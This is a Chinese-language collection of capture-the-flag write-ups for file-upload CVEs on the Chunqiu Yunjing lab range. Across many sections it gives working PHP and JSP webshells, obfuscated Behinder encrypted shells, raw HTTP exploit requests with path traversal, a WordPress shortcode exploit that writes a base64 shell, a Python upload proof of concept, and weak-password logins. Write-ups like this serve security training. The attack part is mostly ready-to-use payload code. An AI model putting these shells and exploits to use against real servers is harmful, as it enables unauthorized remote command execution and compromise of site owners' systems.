【春秋云境】文件上传漏洞合集

CVE-2022-30887

1.题目简介

在这里插入图片描述

2.CVE-2022-30887简介

在这里插入图片描述

使用工具：

蚁剑 burpsuite 一句话木马

3.渗透测试

输入用户名密码进行抓包

在这里插入图片描述

猜测账号密码

无有用信息，根据页面现有信息找到作者邮箱：

mayuri.infospace@gmail.com，猜测密码为：mayurik，成功进入

上传一句话木马

找到文件上传点，上传一句话木马：

<?php @eval($_POST['cmd']);?>

在这里插入图片描述

上传成功后：

右击图片，查看图片地址，就是木马文件路径：

在这里插入图片描述

http://xxx.ichunqiu.com/assets/myimages/cmd.php

蚁剑连接

在这里插入图片描述

连接后根目录下找到flag：

在这里插入图片描述

查看flag：

flag{71284f68-7422-4e3e-bf04-cc2dc8d9068d}

使用官方POC

国家信息安全漏洞库

POC代码如下：

POST /dawapharma/dawapharma/php_action/editProductImage.php?id=1 HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------208935235035266125502673738631
Content-Length: 559
Connection: close
Cookie: PHPSESSID=d2hvmuiicg9o9jl78hc2mkneel
Upgrade-Insecure-Requests: 1
 
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="old_image"
 
 
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="productImage"; filename="shell.php"
Content-Type: image/jpeg
 
<?php
if($_REQUEST['s']) {
  system($_REQUEST['s']);
  } else phpinfo();
?>
</pre>
</body>
</html>
-----------------------------208935235035266125502673738631
Content-Disposition: form-data; name="btn"
 
 
-----------------------------208935235035266125502673738631--

shell.php:

<?php
if($_REQUEST['s']) {
  system($_REQUEST['s']);
  } else phpinfo();
?>

在这里插入图片描述

CVE-2022-29464

1.题目简介

在这里插入图片描述

2.CVE-2022-29464简介

在这里插入图片描述

使用工具：

burpsuite

3.渗透测试

burp抓包修改参数

刷新登录界面，使用burp抓包

在这里插入图片描述

官方POC

这两个参数需要用本机抓包的：

Host: xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Accept: /

其他参数修改为官方POC

POST /fileupload/toolsAny HTTP/2
Host: eci-2zebvsitkv90bqjmtexq.cloudeci1.ichunqiu.com:9443
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Length: 896
Content-Type: multipart/form-data; boundary=4ef9f369a86bfaadf5ec3177278d49c0
User-Agent: python-requests/2.22.0


--4ef9f369a86bfaadf5ec3177278d49c0
Content-Disposition: form-data; name="../../../../repository/deployment/server/webapps/authenticationendpoint/testshell.jsp"; filename="../../../../repository/deployment/server/webapps/authenticationendpoint/testshell.jsp"

<FORM>
    <INPUT name='cmd' type=text>
    <INPUT type=submit value='Run'>
</FORM>
<%@ page import="java.io.*" %>
    <%
    String cmd = request.getParameter("cmd");
    String output = "";
    if(cmd != null) {
        String s = null;
        try {
            Process p = Runtime.getRuntime().exec(cmd,null,null);
            BufferedReader sI = new BufferedReader(new
InputStreamReader(p.getInputStream()));
            while((s = sI.readLine()) != null) { output += s+"</br>"; }
        }  catch(IOException e) {   e.printStackTrace();   }
    }
%>
        <%=output %>
--4ef9f369a86bfaadf5ec3177278d49c0--

/fileupload/toolsAny是一个文件上传接口，Content-Type指定为multipart/form-data并在请求体中填入想要上传的文件内容。
文件名指定为name=“…/…/…/…/repository/deployment/server/webapps/authenticationendpoint/testshell.jsp”;
文件内容为：构造一个表单，文本框输入要执行的命令，然后提交。jsp代码为：获取命令内容，构造Runtime.getRuntime()命令执行器，传入命令，读取命令执行结果并显示在页面上。

在这里插入图片描述

利用脚本

上传成功后访问http://eci-2ze2knq7i9q2kvy9rhta.cloudeci1.ichunqiu.com:9443/authenticationendpoint/testshell.jsp ，访问上传的shell脚本

在这里插入图片描述

得到flag：

flag{6d148537-ed52-481d-b12b-e967d5c3f5ed}

CVE-2022-28525

1.题目简介

在这里插入图片描述

2.CVE-2022-28525简介

在这里插入图片描述

使用工具：brupsuite

3.渗透测试

在这里插入图片描述

使用弱口令admin/admin登录，找到文件上传点

在这里插入图片描述

上传一句话木马，修改文件后缀名为jpg

在这里插入图片描述

brup抓包

brup修改文件后缀名

在这里插入图片描述

利用一句话木马

在这里插入图片描述

得到flag:

flag{6707239e-0ef0-4af9-a6c2-9a860904cc41}

CVE-2022-25411

1.题目简介

在这里插入图片描述

2.CVE-2022-25411简介

在这里插入图片描述

3.渗透测试

扫描后台目录

在这里插入图片描述

进入/admin/do目录，弱口令为admin/admin888

谷歌翻译一下：

在这里插入图片描述

在这里新增php文件类型

在这里插入图片描述

上传php木马：

在这里插入图片描述

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>

冰蝎连接

在这里插入图片描述

得到flag:

flag{fcc9b016-77c4-4839-93ad-17615abf5dcb}

CVE-2022-23880

1.题目简介

在这里插入图片描述

2.CVE-2022-23880简介

在这里插入图片描述

3.渗透测试

在这里插入图片描述

文件管理，编辑任意php文件为木马，冰蝎连接

在这里插入图片描述

得到flag:

flag{7f7ef845-4fc7-4f40-9b0a-09672fb6610e}

CVE-2022-26201

1.题目简介

在这里插入图片描述

2.CVE-2022-26201简介

在这里插入图片描述

3.渗透测试

不登录，直接选择Admin

在这里插入图片描述

构造一句话木马

<?php system($_GET['pass']);?>

在这里插入图片描述

php文件改为jpg文件上传

在这里插入图片描述

burp抓包

jpg改为php

在这里插入图片描述

利用一句话木马

在这里插入图片描述

得到flag：

f1ag{dc5bbb61-c905-49bb-9b28-b40844aad462}

VE-2022-25578

1.题目简介

在这里插入图片描述

2.VE-2022-25578简介

在这里插入图片描述

3.渗透测试

弱口令猜测

访问/admin路径，输入弱口令admin/tao进入后台

在这里插入图片描述

访问文件管理路径

修改.htaccess文件

htaccess文件（或者分布式配置文件），全称是Hypertext Access（超文本入口）。提供了针对目录改变配置的方法，
即，在一个特定的文档目录中放置一个包含一个或多个指令的文件，
以作用于此目录及其所有子目录。作为用户，所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

找到.htaccess文件，点击进入将AddType application/x-httpd-php .jpg添加到后面保存文件（这只是以解析jpg为例）

在这里插入图片描述

保存后点击pictures文件夹，输入文件名，新建文件

在这里插入图片描述

此处两个按钮均出错，应该是靶场问题，改为添加文章处上传文件

制作一句话木马

在这里插入图片描述

改为jpg文件并上传得到绝对路径

在这里插入图片描述

访问url路径得到flag：

在这里插入图片描述

直接修改网站的php文件

或者可以选择文件管理的一个php文件进行编辑，这里我选择的是rss.php

在这里插入图片描述

这样网站的rss.php就成了我的shell，直接执行命令获取flag：

在这里插入图片描述

flag{3ecd123d-48ff-4680-be9e-e2d1a422beb1}

CVE-2022-25099

1.题目简介

在这里插入图片描述

2.CVE-2022-25099简介

在这里插入图片描述

3.渗透测试

御剑扫描

在这里插入图片描述

进入/admin/login，使用简单密码进行猜测

在这里插入图片描述

得到密码为admin/123456

在这里插入图片描述

找到文件上传点，上传一句话木马:

<?php
    eval($_REQUEST['cmd']);
    system('cat /flag');
?>

得到flag：

在这里插入图片描述

flag{dcac08b6-e042-4840-8e15-649881341c0a}

CVE-2022-24663

1.题目简介

在这里插入图片描述

2.CVE-2022-24663简介

在这里插入图片描述

3.渗透测试

扫描目录

在这里插入图片描述

根据readme找到登录界面

在这里插入图片描述

题目提示为弱口令

Burp抓包爆破

在这里插入图片描述

测试得弱口令为test/test,进入之后，现在是订阅者权限，就是低权限，我们选择修改代码，在任意页面插入以下代码:

<form action="http://eci-2ze10vmvzbwvhfundgqa.cloudeci1.ichunqiu.com/wp-admin/admin-ajax.php" method="post">
      <input name="action" value="parse-media-shortcode" />
      <textarea name="shortcode">[php_everywhere] <?php file_put_contents("/var/www/html/fuck.php",base64_decode("PD9waHAgc3lzdGVtKCRfR0VUWzFdKTsgPz4=")); ?>[/php_everywhere]</textarea>
      <input type="submit" value="Execute" />
</form>

定位到代码：
在这里插入图片描述

选择以HTML格式修改

在这里插入图片描述

直接把这个框里面的内容全部替换成上面的代码，然后保存，页面修改如下：

在这里插入图片描述

点击execute后会出现success字样:

在这里插入图片描述

访问上传的shell，得到flag

在这里插入图片描述

flag{c9e21a78-c553-4d4d-903c-7a7de8857a18}

CVE-2022-23906

1.题目简介

在这里插入图片描述

2.CVE-2022-23906简介

在这里插入图片描述

3.渗透测试

御剑后台扫描

在这里插入图片描述

访问/admin，弱口令admin/123456登录

上传shell.php的png格式

在这里插入图片描述

copy改为php格式

在这里插入图片描述

冰蝎连接

在这里插入图片描述

得到flag:

flag{19c7c011-590f-43da-992d-972a2c8dd331}

CVE-2022-23043

1.题目简介

在这里插入图片描述

2.CVE-2022-23043简介

在这里插入图片描述

3.渗透测试

扫描目录

在这里插入图片描述

进入robots.txt发现有admin后台

在这里插入图片描述

根据题目提示输入登陆信息：admin/adminqwe12

在这里插入图片描述

找到上传点

修改文档存放位置为/tmp，修改好后点击Continue

在这里插入图片描述

选择Configuration-File/MIME Types-+Create创建新的文件类型，格式为phar 类型为 text/plain 保存（php类型系统不让设置）

在这里插入图片描述

上传一句话冰蝎木马

上传失败可以重新设置一下phar文件类型

在这里插入图片描述

cmd.phar(由Webshell生成工具生成，连接密码为cmd)

<?php @error_reporting(0);session_start();$key="dfff0a7fa1a55c8c";$_SESSION['k']=$key;$f='file'.'_get'.'_contents';$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);$Hj337=$f($p);if(!extension_loaded('openssl')){ $t=preg_filter('/\s+/','','base 64 _ deco de');$Hj337=$t($Hj337."");for($i=0;$i<strlen($Hj337);$i++) { $new_key = $key[$i+1&15];$Hj337[$i] = $Hj337[$i] ^ $new_key;}	}else{ $Hj337=openssl_decrypt($Hj337, "AES128", $key);}$arr=explode('|',$Hj337);$func=$arr[0];$params=$arr[1];class G7626Rp4{ public function __invoke($p) {@eval("/*Z018D99rVC*/".$p."");}}@call_user_func/*Z018D99rVC*/(new G7626Rp4(),$params);?>

冰蝎连接

在这里插入图片描述

得到flag:

flag{1c5ca734-3051-4315-9c2d-618ac8874ff6}

CVE-2023-38836

1.题目简介

在这里插入图片描述

2.CVE-2023-38836简介

在这里插入图片描述

3.渗透测试

观察到存在admin界面，使用弱口令admin/password登录

在这里插入图片描述

伪造GIF文件头

找到文件上传点，根据题目提示给文件最前端加上GIF89a，伪造GIF文件头

GIF89a<?php @error_reporting(0);session_start();$key="dfff0a7fa1a55c8c";$_SESSION['k']=$key;$f='file'.'_get'.'_contents';$p='|||||||||||'^chr(12).chr(20).chr(12).chr(70).chr(83).chr(83).chr(21).chr(18).chr(12).chr(9).chr(8);$Hj337=$f($p);if(!extension_loaded('openssl')){ $t=preg_filter('/\s+/','','base 64 _ deco de');$Hj337=$t($Hj337."");for($i=0;$i<strlen($Hj337);$i++) { $new_key = $key[$i+1&15];$Hj337[$i] = $Hj337[$i] ^ $new_key;}	}else{ $Hj337=openssl_decrypt($Hj337, "AES128", $key);}$arr=explode('|',$Hj337);$func=$arr[0];$params=$arr[1];class G7626Rp4{ public function __invoke($p) {@eval("/*Z018D99rVC*/".$p."");}}@call_user_func/*Z018D99rVC*/(new G7626Rp4(),$params);?>

上传成功，点击View获取文件路径

在这里插入图片描述

冰蝎连接

在这里插入图片描述
得到flag:

flag{cf1b7a93-c059-41f4-b90a-964497d84154}

CVE-2023-37569

1.题目简介

在这里插入图片描述

2.CVE-2023-37569简介

https://nvd.nist.gov/vuln/detail/CVE-2023-37569

3.渗透测试

使用弱口令admin/password登录界面

在这里插入图片描述

找到文件上传点，直接上传cmd.php文件

在这里插入图片描述

冰蝎连接

在这里插入图片描述

得到flag: flag{67924f93-f8da-4ca8-a368-02666cc2a1b1}

CVE-2020-26048

1.题目简介

在这里插入图片描述

2.CVE-2020-26048简介

在这里插入图片描述

3.渗透测试

使用弱密码admin/admin登录

在这里插入图片描述

直接上传php文件不被允许，先上传一个jpg版本：

在这里插入图片描述

Burp修改文件名

打开Burp开启拦截，重命名为php文件

在这里插入图片描述

删除.htaccess文件

需要删除.htaccess文件才可以访问到shell

在这里插入图片描述

冰蝎连接

在这里插入图片描述

得到flag:

flag{2efa4820-bbb0-4c60-8c63-b7260945e4f6}

CVE-2019-9042

1.题目简介

在这里插入图片描述

2.CVE-2019-9042简介

在这里插入图片描述

3.渗透测试

使用弱口令admin/admin登录，进入Content-File界面，上传shell

在这里插入图片描述

御剑后台扫描/files路径

在这里插入图片描述

冰蝎连接

在这里插入图片描述

或者直接上传一句话木马：<?php system($_GET['pass']); ?>

在这里插入图片描述
得到flag:

flag{1c372c23-a705-4c61-9fc8-2c4ceacff376}

CVE-2018-2894

1.题目简介

在这里插入图片描述

2.CVE-2018-2894简介

在这里插入图片描述

3.渗透测试

config.do、begin.do页面没有设置登录授权后访问

访问/ws_utc/config.do页面（跳转不成功也可以先进入/ws_utc/begin.do页面点设置按钮）

因为ws_utc应用的静态文件css目录是无需访问权限的，而默认的工作目录即使上传成功，也无法访问。

通用模块：
Work home dir：
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
http proxy host: ws_utc
03 http proxy port:80

在这里插入图片描述

在安全模块点击添加，在Keystroe文件上传处上传shell：

在这里插入图片描述

检查当前页面元素查看时间戳：

在这里插入图片描述

该文件的访问路径就是：
http://ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]

访问：

http://eci-2ze60yiscyji4su1sx0t.cloudeci1.ichunqiu.com:7001/ws_utc/css/config/keystore/1713943977134_shell.php

但显示404 not found，访问/console/login/LoginForm.jsp页面，无法使用weblogic登陆后台（无法获取密码）

在这里插入图片描述

应该是容器出了问题，正常上传后通过冰蝎连接后即可。

使用Weblogic漏洞利用工具也检测不出漏洞

CVE-2018-19422

1.题目简介

在这里插入图片描述

2.CVE-2018-19422简介

在这里插入图片描述

3.渗透测试

使用弱密码admin/admin登录系统

在这里插入图片描述

进入设置，找到文件上传点

在这里插入图片描述

根据提示，直接上传php格式的shell文件，但是发现右键打开显示404not found（.phar格式也是），故更改后缀为**.pht**

在这里插入图片描述

冰蝎连接

在这里插入图片描述

或者直接上传一句话木马：

<?php 
if($_REQUEST['a']){
	system($_REQUEST['a']);
} else phpinfo();
?>

在这里插入图片描述

得到flag: flag{57b162d7-6942-4b40-9710-279748a81ba8}

CVE-2017-20063

1.题目简介

在这里插入图片描述

2.CVE-2017-20063简介

在这里插入图片描述

3.渗透测试

官方POC：

#/usr/local/bin/python3
# -*-coding:utf-8-*-
 
import requests,os
site="eci-2ze0upmwz149h0mq7wel.cloudeci1.ichunqiu.com"
file_to_upload ='s.php'
up_req = requests.post('http://'+site+'/wp-admin/admin-ajax.php?page=pmxi-admin-settings&action=upload&name=evil.php',data=open(file_to_upload,'rb').read())
up_dir = os.popen('php -r "print md5(strtotime(\''+up_req.headers['date']+'\'));"').read()
print ("http://"+site+"/wp-content/uploads/wpallimport/uploads/"+up_dir+"/%s" % "evil.php")

其中site替换为自己的url地址，file_to_upload替换为shell文件名

s.php:

<?php
system('cat /flag');phpinfo();
?>

在这里插入图片描述

得到flag: flag{4def81e3-5b4f-438b-aae9-a5a5fd5da6a8}

一句话木马示例

<?php eval($_REQUEST['key']); ?> <?php system($_REQUEST['ab']); ?> <?php system($_GET['pass']); ?> <?php eval($_POST[1]); ?> <?php eval($_GET[1]); ?>

webshell分别为：key，ab，pass，1，1

system函数多用于直接在url中输入webshell

冰蝎使用的webshell：

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{
		$post=openssl_decrypt($post, "AES128", $key);
	}
    $arr=explode('|',$post);
    $func=$arr[0];
    $params=$arr[1];
	class C{public function __invoke($p) {eval($p."");}}
    @call_user_func(new C(),$params);
?>